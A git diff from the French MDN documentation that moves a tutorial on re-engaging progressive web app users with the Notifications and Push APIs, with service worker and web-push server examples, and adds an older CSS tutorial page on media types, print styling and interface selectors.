Une fois que l'utilisateur a confirmé qu'il veut recevoir des notifications, l'application peut alors lui afficher. Le résultat de l'action de l'utilisateur peut être default (défault), granted (autorisé) ou denied (interdit). L'option default est choisi quand l'utilisateur n'a pas fait de choix et les deux autres sont sélectionnées selon que l'utilisateur a respectivement cliqué sur oui ou non.

+ +

Si la permission est donnée, elle vaut à la fois pour les notifications et les push.

+ +

Créer une notification

+ +

L'application exemple crée une notification en utilisant les données disponibles — un jeu est choisi au hasard et les données associées sont utilisées pour générer le contenu de la notification: le nom du jeu pour le titre, la mention de l'auteur dans le corps du texte et l'image pour l'icone:

+ +
function randomNotification() {
+    var randomItem = Math.floor(Math.random()*games.length);
+    var notifTitle = games[randomItem].name;
+    var notifBody = 'Créé par '+games[randomItem].author+'.';
+    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
+    var options = {
+        body: notifBody,
+        icon: notifImg
+    }
+    var notif = new Notification(notifTitle, options);
+    setTimeout(randomNotification, 30000);
+}
+ +

Une nouvelle notification est créée au hasard toutes les 30 secondes jusqu'à ce que ça devienne trop pénible et que ce soit désactivé par l'utilisateur (pour une vraie application, les notifications devraient être moins fréquentes et plus utiles). L'avantage de l'API Notifications est qu'elle utilise la fonction de notification du système d'exploitation. Ceci signifie que les notifications peuvent être affichées à l'utilisateur même quand il ne regarde pas l'application et que les notifications ont le même aspect que celles affichées par les applications natives.

+ +

Push

+ +

Pousser (push) est plus compliqué que de faire des notifications — nous avons besoin de nous abonner à un serveur qui enverra ensuite les données en retour à l'application. Le Service Worker de l'application recevra les données du serveur qui les a poussées et pourra ensuite les afficher en utilisant le système de notifications ou un autre mécanisme si on le souhaite.

+ +

La technologie en est toujours à ses tous débuts — certains exemples fonctionnels utilisent la plateforme Cloud de messagerie de Google, mais elles sont en cours de réécriture pour prendre en charge VAPID (Voluntary Application Identification) qui offre une couche de sécurité supplémentaire pour votre application. Vous pouvez étudier les exemples du Cookbook des Service Workers, essayer de mettre en place un serveur d'émission de messages utilisant Firebase ou construire votre propre serveur (en utilisant Node.js par exemple).

+ +

Comme mentionné précédemment, pour être capable de recevoir des messages poussés, vous devez avoir un service worker dont les fondamentaux ont déjà été expliqué dans l'article  Permettre aux PWAs de fonctionner en mode déconnecté grâce aux Service workers. A l'intérieur du service worker, un mécanisme de souscription à un service d'émission est créé.

+ +
registration.pushManager.getSubscription() .then( /* ... */ );
+ +

Une fois que l'utilisateur est enrôlé, il peut recevoir des notifications poussées du serveur.

+ +

Du côté serveur, le processus tout entier doit être chiffré avec des clefs publique et privée par raison de sécurité — permettre à tout le monde d'envoyer des messages poussés non sécurisés en utilisant votre application serait une terrible idée. Voir la page de test de chffirement des données web poussées pour avoir des informations détaillées concernant la sécurisation du serveur. Le serveur enregistre toutes les informations reçues quand un utilisateur s'enregistre si bien que les messages peuvent être envoyés plus tard quand c'est nécessaire.

+ +

Pour recevoir des messages poussés, nous pouvons écouter l'événement {{event("push")}} dans le fichier du Service Worker:

+ +
self.addEventListener('push', function(e) { /* ... */ });
+ +

Les données peuvent être récupérées puis affichées immédiatement à l'utilisateur sous forme d'une notification. Ceci, par exemple, peut être utilisé pour rappeler à l'utilisateur quelque chose ou pour l'informer d'un nouveau contenu disponible dans l'application.

+ +

Exemple de Push

+ +

Push requiert que la partie serveur fonctionne, donc nous ne pouvons pas l'inclure dans l'exemple js13kPWA hébergé dans les pages GitHub puisqu'elles ne permettent de servir que des fichiers statiques. C'est entièrement expliqué dans le Service Worker Cookbook — voir la démonstration de charge utile poussée.

+ +

Cette démonstration comporte trois fichiers:

+ +
    +
  • index.js, qui contient le code source de notre application
    • +
  • server.js, qui contient la partie serveur (écrit en Node.js)
    • +
  • service-worker.js, qui contient le code spécifique du Service Worker.
    • +
+ +

Explorons tout ceci

+ +

index.js

+ +

Le fichier index.js commence par enregistrer le service worker:

+ +
navigator.serviceWorker.register('service-worker.js')
+.then(function(registration) {
+  return registration.pushManager.getSubscription()
+  .then(async function(registration) {
+      // partie relative à l'enregistrement
+  });
+})
+.then(function(subscription) {
+    // partie relative à l'abonnement
+});
+ +

C'est un petit peu plus compliqué que le service worker que nous avons vu dans la démonstration de js13kPWA. Dans ce cas particulier, après l'enregistrement, nous utilisons l'objet d'enregistrement pour s'abonner puis utiliser ensuite l'objet d'abonnement résultant pour achever le processus complet.

+ +

Dans la partie enregistrement, le code ressemble à ceci:

+ +
if(registration) {
+    return registration;
+}
+ +

Si l'utilisateur s'est déjà abonné, nous renvoyons alors l'objet de souscription et accède à la partir de la souscription. Si ce n'est pas le cas, nous initialisation une nouvelle souscription:

+ +
const response = await fetch('./vapidPublicKey');
+const vapidPublicKey = await response.text();
+const convertedVapidKey = urlBase64ToUint8Array(vapidPublicKey);
+ +

L'application récupère la clef publique du serveur et convertit la réponse sous forme de texte; puis cette réponse doit être convertie en un tableau de nombre entier non signé (Uint8Array (pour une prise en charge par Chrome). Pour en apprendre davantage sur les clefs VAPID, vous pouvez lire le message de blog Envoyer des notifications WebPush identitées par VAPID via le service de Push de Mozilla.

+ +

L'application peut maintenant utiliser le {{domxref("PushManager")}} pour abonner le nouvel utilisateur. Il y a deux options passées à la méthode {{domxref("PushManager.subscribe()")}}  — la première est userVisibleOnly: true, qui signifie que toutes les notifications envoyées à l'utilisateur lui seront visibles et la seconde est applicationServerKey, qui contient notre clef VAPID une fois récupérée et convertie avec succès.

+ +
return registration.pushManager.subscribe({
+    userVisibleOnly: true,
+    applicationServerKey: convertedVapidKey
+});
+ +

Maintenant, allons voir la partie abonnement — l'application envoie d'abord les détails de l'abonnement au format JSON au serveur en utilisant Fetch.

+ +
fetch('./register', {
+    method: 'post',
+    headers: {
+        'Content-type': 'application/json'
+    },
+    body: JSON.stringify({
+        subscription: subscription
+    }),
+});
+ +

Puis la fonction {{domxref("onclick","GlobalEventHandlers.onclick")}} du bouton Abonnement est définie:

+ +
document.getElementById('doIt').onclick = function() {
+    const payload = document.getElementById('notification-payload').value;
+    const delay = document.getElementById('notification-delay').value;
+    const ttl = document.getElementById('notification-ttl').value;
+
+    fetch('./sendNotification', {
+        method: 'post',
+        headers: {
+            'Content-type': 'application/json'
+        },
+        body: JSON.stringify({
+            subscription: subscription,
+            payload: payload,
+            delay: delay,
+            ttl: ttl,
+        }),
+    });
+};
+ +

Quand le bouton est cliqué,  fetch demande au serveur d'envoyer la notification avec les paramètres suivants: payload est le contenu que la notification doir afficher, delay définit un délai en seconde avant que la notification soit affichée et ttl indique en seconde le temps que cette notification doit rester disponible sur le serveur.

+ +

Au tour maintenant du fichier Javascript suivant.

+ +

server.js

+ +

La partie serveur est écrite en Node.js et doit être hébergée à un endroit adapté, sujet qui fera l'objet d'un article qui lui entièrement consacré. Nous ne fournirons ici qu'un aperçu superficiel.

+ +

Le module web-pus est utilisé pour configurer les clefs VAPID keys et éventuellement les générer si elles ne sont pas encore disponibles.

+ +
const webPush = require('web-push');
+
+if (!process.env.VAPID_PUBLIC_KEY || !process.env.VAPID_PRIVATE_KEY) {
+  console.log("Vous devez configurer les variables d'environnement " +
+  "VAPID_PUBLIC_KEY et VAPID_PRIVATE_KEY."+
+    "Vous pouvez utiliser celles-ci:");
+  console.log(webPush.generateVAPIDKeys());
+  return;
+}
+
+webPush.setVapidDetails(
+  'https://serviceworke.rs/',
+  process.env.VAPID_PUBLIC_KEY,
+  process.env.VAPID_PRIVATE_KEY
+);
+
+ +

Ensuite, un module définit et exporte toutes les routes que l'application doit prendre en charge: obtenir la clef publique VAPID, l'enregistrement puis l'envoi de notifications. Vous pouvez voir comment les variables du fichier index.js sont utilisées: payload, delay et ttl.

+ +
module.exports = function(app, route) {
+  app.get(route + 'vapidPublicKey', function(req, res) {
+    res.send(process.env.VAPID_PUBLIC_KEY);
+  });
+
+  app.post(route + 'register', function(req, res) {
+
+    res.sendStatus(201);
+  });
+
+  app.post(route + 'sendNotification', function(req, res) {
+    const subscription = req.body.subscription;
+    const payload = req.body.payload;
+    const options = {
+      TTL: req.body.ttl
+    };
+
+    setTimeout(function() {
+      webPush.sendNotification(subscription, payload, options)
+      .then(function() {
+        res.sendStatus(201);
+      })
+      .catch(function(error) {
+        console.log(error);
+        res.sendStatus(500);
+      });
+    }, req.body.delay * 1000);
+  });
+};
+ +

service-worker.js

+ +

Le dernier fichier que nous allons regarder est celui du service worker:

+ +
self.addEventListener('push', function(event) {
+    const payload = event.data ? event.data.text() : 'no payload';
+    event.waitUntil(
+        self.registration.showNotification('ServiceWorker Cookbook', {
+            body: payload,
+        })
+    );
+});
+ +

Tout ce qu'il est est d'ajouter une écoute sur l'événément {{event("push")}}, créer la variable de charge utile constituée du texte récupéré depuis les données (ou de créer une chaîne de caractères à utiliser si les données sont vides) puis d'attendre jusqu'à ce que la notfication soit montrée à l'utilisateur.

+ +

N'hésitez pas à explorer le reste des exemples du Service Worker Cookbook si vous voulez savoir comment ils sont gérés — le code source complet est disponible sur on GitHub. Il y a une vaste collection d'exemples fonctionnels démontrant l'usage général ainsi que le push webn les stratégies de mise en cache, la question des performances, le fonctionnement en mode déconnecté et plus encore.

+ +

{{PreviousMenuNext("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive/Loading", "Web/Apps/Progressive")}}

+ +
{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}
diff --git a/files/fr/web/progressive_web_apps/relancer_via_notifications_push/index.html b/files/fr/web/progressive_web_apps/relancer_via_notifications_push/index.html deleted file mode 100644 index e656d29cde..0000000000 --- a/files/fr/web/progressive_web_apps/relancer_via_notifications_push/index.html +++ /dev/null @@ -1,245 +0,0 @@ ---- -title: >- - Comment faire pour que les PWAs relancent les utilisateurs en utilisant des - notifications et des messages poussés -slug: Web/Progressive_web_apps/Relancer_Via_Notifications_Push -translation_of: Web/Progressive_web_apps/Re-engageable_Notifications_Push ---- -
{{PreviousMenuNext("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive/Loading", "Web/Apps/Progressive")}}
- -

Avoir la possibilité de mettre en cache le contenu d'une application pour travailler en mode déconnecté est une formidable fonctionnalité. Donner la possibilité à l'utilisateur d'installer l'application web sur son écran d'accueil est encore mieux. Mais plutôt que de s'en remettre seulement aux actions de l'utilisateur, nous pouvons faire plus, en utilisant des messages poussés et des notifications pour le relancer automatiquement et fournir des nouveaux contenus à chaque fois qu'ils sont disponibles.

- -

Deux APIs, un seul but

- -

L'API Push et l'API Notifications sont deux APIs distinctes mais elles fonctionnent bien ensemble quand vous souhaitez fournir une fonction de relance dans votre application. Push est utilisée pour délivrer un nouveau contenu à votre application depuis le serveur sans aucune intervention côté client et cette opération est gérée par le service worker de l'application. Les notifications peuvent être utilisées par le service worker pour afficher les nouvelles informations à l'utilisateur, ou, au moins, le prévenir que quelque chose a été mis à jour.

- -

Cela s'exécute hors de la fenêtre du navigateur, juste comme les service workers, si bien que des mises à jour peuvent être poussées et des notifications peuvent être affichées quand la page de l'application n'a pas le focus voire fermée.

- -

Notifications

- -

Commençons avec les notifications — elles peuvent fonctionner sans push, mais sont très utiles quand elles sont combinées avec. Voyons-les de façon isolée pour commencer.

- -

Demande de permission

- -

Pour afficher une notification, nous devons d'abord demander la permission de le faire. Cependant, au lieu de d'afficher la notification immédiatement, une meilleure pratique consiste à n'afficher la fenêtre popup quand l'utilisateur le demande en cliquant sur un bouton:

- -
var button = document.getElementById("notifications");
-button.addEventListener('click', function(e) {
-    Notification.requestPermission().then(function(result) {
-        if(result === 'granted') {
-            randomNotification();
-        }
-    });
-});
- -

Ceci affiche une popup en utilisant le propre service de notification du système d'exploitation:

- -

Notification of js13kPWA.

- -

Une fois que l'utilisateur a confirmé qu'il veut recevoir des notifications, l'application peut alors lui afficher. Le résultat de l'action de l'utilisateur peut être default (défault), granted (autorisé) ou denied (interdit). L'option default est choisi quand l'utilisateur n'a pas fait de choix et les deux autres sont sélectionnées selon que l'utilisateur a respectivement cliqué sur oui ou non.

- -

Si la permission est donnée, elle vaut à la fois pour les notifications et les push.

- -

Créer une notification

- -

L'application exemple crée une notification en utilisant les données disponibles — un jeu est choisi au hasard et les données associées sont utilisées pour générer le contenu de la notification: le nom du jeu pour le titre, la mention de l'auteur dans le corps du texte et l'image pour l'icone:

- -
function randomNotification() {
-    var randomItem = Math.floor(Math.random()*games.length);
-    var notifTitle = games[randomItem].name;
-    var notifBody = 'Créé par '+games[randomItem].author+'.';
-    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
-    var options = {
-        body: notifBody,
-        icon: notifImg
-    }
-    var notif = new Notification(notifTitle, options);
-    setTimeout(randomNotification, 30000);
-}
- -

Une nouvelle notification est créée au hasard toutes les 30 secondes jusqu'à ce que ça devienne trop pénible et que ce soit désactivé par l'utilisateur (pour une vraie application, les notifications devraient être moins fréquentes et plus utiles). L'avantage de l'API Notifications est qu'elle utilise la fonction de notification du système d'exploitation. Ceci signifie que les notifications peuvent être affichées à l'utilisateur même quand il ne regarde pas l'application et que les notifications ont le même aspect que celles affichées par les applications natives.

- -

Push

- -

Pousser (push) est plus compliqué que de faire des notifications — nous avons besoin de nous abonner à un serveur qui enverra ensuite les données en retour à l'application. Le Service Worker de l'application recevra les données du serveur qui les a poussées et pourra ensuite les afficher en utilisant le système de notifications ou un autre mécanisme si on le souhaite.

- -

La technologie en est toujours à ses tous débuts — certains exemples fonctionnels utilisent la plateforme Cloud de messagerie de Google, mais elles sont en cours de réécriture pour prendre en charge VAPID (Voluntary Application Identification) qui offre une couche de sécurité supplémentaire pour votre application. Vous pouvez étudier les exemples du Cookbook des Service Workers, essayer de mettre en place un serveur d'émission de messages utilisant Firebase ou construire votre propre serveur (en utilisant Node.js par exemple).

- -

Comme mentionné précédemment, pour être capable de recevoir des messages poussés, vous devez avoir un service worker dont les fondamentaux ont déjà été expliqué dans l'article  Permettre aux PWAs de fonctionner en mode déconnecté grâce aux Service workers. A l'intérieur du service worker, un mécanisme de souscription à un service d'émission est créé.

- -
registration.pushManager.getSubscription() .then( /* ... */ );
- -

Une fois que l'utilisateur est enrôlé, il peut recevoir des notifications poussées du serveur.

- -

Du côté serveur, le processus tout entier doit être chiffré avec des clefs publique et privée par raison de sécurité — permettre à tout le monde d'envoyer des messages poussés non sécurisés en utilisant votre application serait une terrible idée. Voir la page de test de chffirement des données web poussées pour avoir des informations détaillées concernant la sécurisation du serveur. Le serveur enregistre toutes les informations reçues quand un utilisateur s'enregistre si bien que les messages peuvent être envoyés plus tard quand c'est nécessaire.

- -

Pour recevoir des messages poussés, nous pouvons écouter l'événement {{event("push")}} dans le fichier du Service Worker:

- -
self.addEventListener('push', function(e) { /* ... */ });
- -

Les données peuvent être récupérées puis affichées immédiatement à l'utilisateur sous forme d'une notification. Ceci, par exemple, peut être utilisé pour rappeler à l'utilisateur quelque chose ou pour l'informer d'un nouveau contenu disponible dans l'application.

- -

Exemple de Push

- -

Push requiert que la partie serveur fonctionne, donc nous ne pouvons pas l'inclure dans l'exemple js13kPWA hébergé dans les pages GitHub puisqu'elles ne permettent de servir que des fichiers statiques. C'est entièrement expliqué dans le Service Worker Cookbook — voir la démonstration de charge utile poussée.

- -

Cette démonstration comporte trois fichiers:

- -
    -
  • index.js, qui contient le code source de notre application
    • -
  • server.js, qui contient la partie serveur (écrit en Node.js)
    • -
  • service-worker.js, qui contient le code spécifique du Service Worker.
    • -
- -

Explorons tout ceci

- -

index.js

- -

Le fichier index.js commence par enregistrer le service worker:

- -
navigator.serviceWorker.register('service-worker.js')
-.then(function(registration) {
-  return registration.pushManager.getSubscription()
-  .then(async function(registration) {
-      // partie relative à l'enregistrement
-  });
-})
-.then(function(subscription) {
-    // partie relative à l'abonnement
-});
- -

C'est un petit peu plus compliqué que le service worker que nous avons vu dans la démonstration de js13kPWA. Dans ce cas particulier, après l'enregistrement, nous utilisons l'objet d'enregistrement pour s'abonner puis utiliser ensuite l'objet d'abonnement résultant pour achever le processus complet.

- -

Dans la partie enregistrement, le code ressemble à ceci:

- -
if(registration) {
-    return registration;
-}
- -

Si l'utilisateur s'est déjà abonné, nous renvoyons alors l'objet de souscription et accède à la partir de la souscription. Si ce n'est pas le cas, nous initialisation une nouvelle souscription:

- -
const response = await fetch('./vapidPublicKey');
-const vapidPublicKey = await response.text();
-const convertedVapidKey = urlBase64ToUint8Array(vapidPublicKey);
- -

L'application récupère la clef publique du serveur et convertit la réponse sous forme de texte; puis cette réponse doit être convertie en un tableau de nombre entier non signé (Uint8Array (pour une prise en charge par Chrome). Pour en apprendre davantage sur les clefs VAPID, vous pouvez lire le message de blog Envoyer des notifications WebPush identitées par VAPID via le service de Push de Mozilla.

- -

L'application peut maintenant utiliser le {{domxref("PushManager")}} pour abonner le nouvel utilisateur. Il y a deux options passées à la méthode {{domxref("PushManager.subscribe()")}}  — la première est userVisibleOnly: true, qui signifie que toutes les notifications envoyées à l'utilisateur lui seront visibles et la seconde est applicationServerKey, qui contient notre clef VAPID une fois récupérée et convertie avec succès.

- -
return registration.pushManager.subscribe({
-    userVisibleOnly: true,
-    applicationServerKey: convertedVapidKey
-});
- -

Maintenant, allons voir la partie abonnement — l'application envoie d'abord les détails de l'abonnement au format JSON au serveur en utilisant Fetch.

- -
fetch('./register', {
-    method: 'post',
-    headers: {
-        'Content-type': 'application/json'
-    },
-    body: JSON.stringify({
-        subscription: subscription
-    }),
-});
- -

Puis la fonction {{domxref("onclick","GlobalEventHandlers.onclick")}} du bouton Abonnement est définie:

- -
document.getElementById('doIt').onclick = function() {
-    const payload = document.getElementById('notification-payload').value;
-    const delay = document.getElementById('notification-delay').value;
-    const ttl = document.getElementById('notification-ttl').value;
-
-    fetch('./sendNotification', {
-        method: 'post',
-        headers: {
-            'Content-type': 'application/json'
-        },
-        body: JSON.stringify({
-            subscription: subscription,
-            payload: payload,
-            delay: delay,
-            ttl: ttl,
-        }),
-    });
-};
- -

Quand le bouton est cliqué,  fetch demande au serveur d'envoyer la notification avec les paramètres suivants: payload est le contenu que la notification doir afficher, delay définit un délai en seconde avant que la notification soit affichée et ttl indique en seconde le temps que cette notification doit rester disponible sur le serveur.

- -

Au tour maintenant du fichier Javascript suivant.

- -

server.js

- -

La partie serveur est écrite en Node.js et doit être hébergée à un endroit adapté, sujet qui fera l'objet d'un article qui lui entièrement consacré. Nous ne fournirons ici qu'un aperçu superficiel.

- -

Le module web-pus est utilisé pour configurer les clefs VAPID keys et éventuellement les générer si elles ne sont pas encore disponibles.

- -
const webPush = require('web-push');
-
-if (!process.env.VAPID_PUBLIC_KEY || !process.env.VAPID_PRIVATE_KEY) {
-  console.log("Vous devez configurer les variables d'environnement " +
-  "VAPID_PUBLIC_KEY et VAPID_PRIVATE_KEY."+
-    "Vous pouvez utiliser celles-ci:");
-  console.log(webPush.generateVAPIDKeys());
-  return;
-}
-
-webPush.setVapidDetails(
-  'https://serviceworke.rs/',
-  process.env.VAPID_PUBLIC_KEY,
-  process.env.VAPID_PRIVATE_KEY
-);
-
- -

Ensuite, un module définit et exporte toutes les routes que l'application doit prendre en charge: obtenir la clef publique VAPID, l'enregistrement puis l'envoi de notifications. Vous pouvez voir comment les variables du fichier index.js sont utilisées: payload, delay et ttl.

- -
module.exports = function(app, route) {
-  app.get(route + 'vapidPublicKey', function(req, res) {
-    res.send(process.env.VAPID_PUBLIC_KEY);
-  });
-
-  app.post(route + 'register', function(req, res) {
-
-    res.sendStatus(201);
-  });
-
-  app.post(route + 'sendNotification', function(req, res) {
-    const subscription = req.body.subscription;
-    const payload = req.body.payload;
-    const options = {
-      TTL: req.body.ttl
-    };
-
-    setTimeout(function() {
-      webPush.sendNotification(subscription, payload, options)
-      .then(function() {
-        res.sendStatus(201);
-      })
-      .catch(function(error) {
-        console.log(error);
-        res.sendStatus(500);
-      });
-    }, req.body.delay * 1000);
-  });
-};
- -

service-worker.js

- -

Le dernier fichier que nous allons regarder est celui du service worker:

- -
self.addEventListener('push', function(event) {
-    const payload = event.data ? event.data.text() : 'no payload';
-    event.waitUntil(
-        self.registration.showNotification('ServiceWorker Cookbook', {
-            body: payload,
-        })
-    );
-});
- -

Tout ce qu'il est est d'ajouter une écoute sur l'événément {{event("push")}}, créer la variable de charge utile constituée du texte récupéré depuis les données (ou de créer une chaîne de caractères à utiliser si les données sont vides) puis d'attendre jusqu'à ce que la notfication soit montrée à l'utilisateur.

- -

N'hésitez pas à explorer le reste des exemples du Service Worker Cookbook si vous voulez savoir comment ils sont gérés — le code source complet est disponible sur on GitHub. Il y a une vaste collection d'exemples fonctionnels démontrant l'usage général ainsi que le push webn les stratégies de mise en cache, la question des performances, le fonctionnement en mode déconnecté et plus encore.

- -

{{PreviousMenuNext("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive/Loading", "Web/Apps/Progressive")}}

- -
{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}
diff --git a/files/fr/web/progressive_web_apps/responsive/media_types/index.html b/files/fr/web/progressive_web_apps/responsive/media_types/index.html new file mode 100644 index 0000000000..3926d7e225 --- /dev/null +++ b/files/fr/web/progressive_web_apps/responsive/media_types/index.html @@ -0,0 +1,396 @@ +--- +title: Médias +slug: CSS/Premiers_pas/Médias +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Web/Progressive_web_apps/Responsive/Media_types +--- +

 

+

La plupart des pages de ce tutoriel sont centrées sur les propriétés CSS et les valeurs que vous pouvez utiliser pour spécifier la façon dont sera affiché un document.

+

Cette page revient sur le but et la structure des feuilles de style CSS.

+

Information : les médias

+

Le but de CSS est de spécifier la manière dont les documents sont présentés à l'utilisateur. La présentation peut prendre plusieurs formes.

+

Par exemple, vous êtes probablement en train de lire cette page sur un dispositif d'affichage comme un écran d'ordinateur. Mais vous pouvez aussi avoir envie de le projeter sur un grand écran pour un public plus important, ou encore l'imprimer sur papier. Ces différents médias peuvent avoir des caractéristiques différentes. CSS permet donc de présenter un document différemment sur un média différent.

+

Pour spécifier des règles spécifiques à un type de média, utilisez @media suivi du type de média, suivi de crochets courbes entourant les règles.

+ + + + + + + +
+ Exemple
Un document sur un site Web dispose d'une zone de navigation permettant à l'utilisateur de se déplacer dans le site. +

Dans le langage de balisage, l'élément parent de la zone de navigation a l'attribut id nav-area.

+

Lorsque le document est imprimé, la zone de navigation n'a aucun intérêt, elle est donc retirée complètement par la feuille de style :

+
+ 
+@media print {
+  #nav-area {display: none;}
+  }
+
+
+
+

Voici certains des types de média courants :

+ + + + + + + + + + + + + + + + + + + +
screenÉcran d'ordinateur en couleurs
printMédia paginé
projectionProjection sur un écran
allTous les médias (la valeur par défaut)
+

 

+ + + + + + + +
+ Plus de détails
Il existe d'autres manières de spécifier le type de média d'une série de règles. +

Le langage de balisage du document peut permettre de spécifier le type de média au moment où la feuille de style est liée au document. Par exemple, en HTML, vous pouvez optionnellement spécifier le type de média à l'aide de l'attribut media de la balise LINK.

+

En CSS, vous pouvez utiliser @import au début d'une feuille de style pour en importer une autre depuis une URL, éventuellement en spécifiant le type de média.

+

En utilisant ces techniques, vous pouvez séparer les règles de style pour différents médias dans différents fichiers. Cela peut s'avérer une manière utile de structurer vos feuilles de style.

+

Pour tous les détails sur les types de média, consultez Media dans la spécification CSS.

+

Plus d'exemples utilisant la propriété display sont présentés sur une prochaine page de ce tutoriel : Données XML.

+
+

 

+

Impression

+

CSS possède certaines instructions spécifiques pour l'impression et les médias paginés en général.

+

Une règle @page permet de spécifier les marges de la page. Pour l'impression recto-verso, vous pouvez spécifier des marges différentes pour les pages de gauche, @page:left, et les pages de droite, @page:right.

+

Pour les médias imprimés, il vaut mieux utiliser des unités de longueur appropriées, comme les centimètres (cm) et millimètres (mm), les pouces (in) ou les points (1 pt = 1/72 pouces). Il est également toujours approprié d'utiliser em pour s'accorder à la taille de police, et les pourcentages (%).

+

Vous pouvez contrôler la façon dont le contenu du document se comporte aux abords des limites de pages à l'aide des propriétés page-break-before (saut de page avant), page-break-after (saut de page après) et page-break-inside (saut de page à l'intérieur).

+ + + + + + + +
+ Exemples
Cette règle définit les marges de la page à deux centimètres de chaque côté : +
+ 
+@page {margin: 2cm;}
+
+
+

Cette règle s'assure que chaque élément H1 commencera une nouvelle page :

+
+ 
+h1 {page-break-before: always;}
+
+
+
+

 

+ + + + + + + +
+ Plus de détails
Pour tous les détails sur la gestion des médias paginés par CSS, consultez Paged media dans la spécification CSS. +

Comme les autres fonctionnalités de CSS, l'impression dépend de votre navigateur et de ses réglages. Par exemple, votre navigateur Mozilla fournit des marges, en-têtes et pieds de page par défaut pour l'impression. Lorsque d'autres utilisateurs imprimeront votre document, vous ne pouvez probablement pas prédire le navigateur et les paramètres qu'ils utiliseront, c'est pourquoi vous ne pouvez probablement pas contrôler complètement le résultat.

+
+

 

+

Interfaces utilisateur

+

CSS possède certaines propriétés spéciales pour les périphériques disposant d'une interface utilisateur comme les écrans d'ordinateur. Celles-ci font que l'apparence du document change dynamiquement et interagit avec les actions de l'utilisateur sur l'interface.

+

Il n'y a pas de type de média spécial pour ce type de périphériques.

+

Voici les cinq sélecteurs spéciaux :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
SelecteurSélectionne
E:hoverTout élément E survolé par le pointeur
E:focusTout élément E ayant le focus du clavier
E:activeTout élément E impliqué dans l'action courante de l'utilisateur
E:linkTout élément E qui est un lien hypertexte vers une URL que l'utilisateur n'a pas visitée récemment
E:visitedTout élément E qui est un lien hypertexte vers une URL que l'utilisateur a visitée récemment
+

La propriété cursor spécifie la forme du pointeur : certains des pointeurs courants sont montrés ci-dessous. Placez votre pointeur de souris au dessu des éléments de cette liste pour voir comment apparaissent les différentes formes dans votre navigateur :

+ + + + + + + + + + + + + + + + + + + + + + + +
ValeurIndique
pointerIndique un lien
waitIndique que le programme n'accepte aucune interaction pour le moment
progressIndique que le programme fonctionne, mais peut toujours accepter une autre commande
defaultLe curseur par défaut (habituellement une flèche)
+


+ Une propriété outline crée un encadrement souvent utilisé pour indiquer où se trouve le focus clavier. Ses valeurs sont similaires à celles de la propriété border, sauf que les différents côtés ne peuvent pas être spécifiés individuellement.

+

Certaines autres fonctionnalités des interfaces utilisateur sont implémentées à l'aide d'attributs, de la façon classique. Par exemple, un élément qui est désactivé ou en lecture seule a (respectivement) l'attribut disabled ou readonly. Les sélecteurs peuvent spécifier ces attributs comme n'importe quel autre attribut, à l'aide des crochets droits : {{ mediawiki.external('disabled') }} ou {{ mediawiki.external('readonly') }}.

+

 

+ + + + + + + +
+ Exemple
Ces règles spécifient des styles pour un bouton qui change dynamiquement lorsque l'utilisateur interagit avec lui : +
+ 
+.bouton-vert {
+  background-color:#cec;
+  color:#black;
+  border:2px outset #cec;
+  }
+
+.bouton-vert[disabled] {
+  background-color:#cdc;
+  color:#777;
+  }
+
+.bouton-vert:active {
+  border-style: inset;
+  }
+
+
+

Ce wiki ne permet pas d'utiliser des boutons sur la page, mais voici quelques images pour illustrer l'idée :

+ + + + + + +
+ + + + + + + + + + + + + + + + +
Cliquez iciCliquez iciCliquez ici
 
disablednormalactive
+
+

Un bouton tout à fait fonctionnel a aussi un contour noir tout autour lorsqu'il est le bouton par défaut, et un encadrement pointillé sur sa surface lorsqu'il a le focus clavier. Il peut également changer grâce à un effet visuel lorsque le pointeur de la souris le survole.

+
+ + + + + + + +
+ Plus de détails
Pour plus d'informations à propos des interfaces utilisateur en CSS, consultez User interface dans la spécification CSS. +

Un exemple avec le langage de balisage de Mozilla pour les interfaces utilisateur, XUL, est fourni dans la partie II de ce tutoriel.

+
+

Action : impression d'un document

+

Créez un nouveau document HTML, doc4.html. Copiez et collez-y le contenu ci-dessous, en vous assurant de faire défiler jusqu'en bas pour en obtenir l'entièreté :

+
+ 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+
+<HEAD>
+<TITLE>Exemple à imprimer</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style4.css"></strong>
+</HEAD>
+
+<BODY>
+<H1>Section A</H1>
+<P>Ceci est la première section...</P>
+
+<H1>Section B</H1>
+<P>Ceci est la seconde section...</P>
+
+<DIV id="en-tete-impression">
+Titre pour les médias paginés
+</DIV>
+
+<DIV id="pied-de-page-impression">
+Page :
+</DIV>
+
+</BODY>
+</HTML>
+
+
+

Créez une nouvelle feuille de style, style4.css. Copiez et collez-y le contenu ci-dessous, en vous assurant de faire défiler jusqu'en bas pour en obtenir l'entièreté :

+
+ 
/*** Exemple d'impression ***/
+
+/* Réglages par défaut pour l'écran */
+#en-tete-impression,
+#pied-de-page-impression {
+  display: none;
+  }
+
+/* Uniquement pour l'impression */
+@media print {
+
+h1 {
+  page-break-before: always;
+  padding-top: 2em;
+  }
+
+h1:first-child {
+  page-break-before: avoid;
+  counter-reset: page;
+  }
+
+#en-tete-impression {
+  display: block;
+  position: fixed;
+  top: 0pt;
+  left:0pt;
+  right: 0pt;
+
+  font-size: 200%;
+  text-align: center;
+  }
+
+#pied-de-page-impression {
+  display: block;
+  position: fixed;
+  bottom: 0pt;
+  right: 0pt;
+
+  font-size: 200%;
+  }
+
+#pied-de-page-impression:after {
+  content: counter(page);
+  counter-increment: page;
+  }
+
+} /* fin des paramètres pour l'impression */
+
+
+

Lorsque vous consultez ce document dans votre navigateur, il utilise le style par défaut de celui-ci.

+

Lorsque vous l'imprimez (ou demandez un aperçu avant impression) la feuille de style place chaque section sur une page séparée, et ajoute un en-tête et un pied de page à chacune d'elles. Si votre navigateur gère les compteurs, il ajoute le numéro de page dans le pied de page.

+ + + + + + + +
+ + + + + + +
+ + + + + + +
+
+ Titre
+
+ Section A
+
+ Ceci est la première section...
+
+ Page : 1
+
+
+ 		+ + + + + + +
+ + + + + + +
+
+ Titre
+
+ Section B
+
+ Ceci est la seconde section...
+
+ Page : 2
+
+
+
+

 
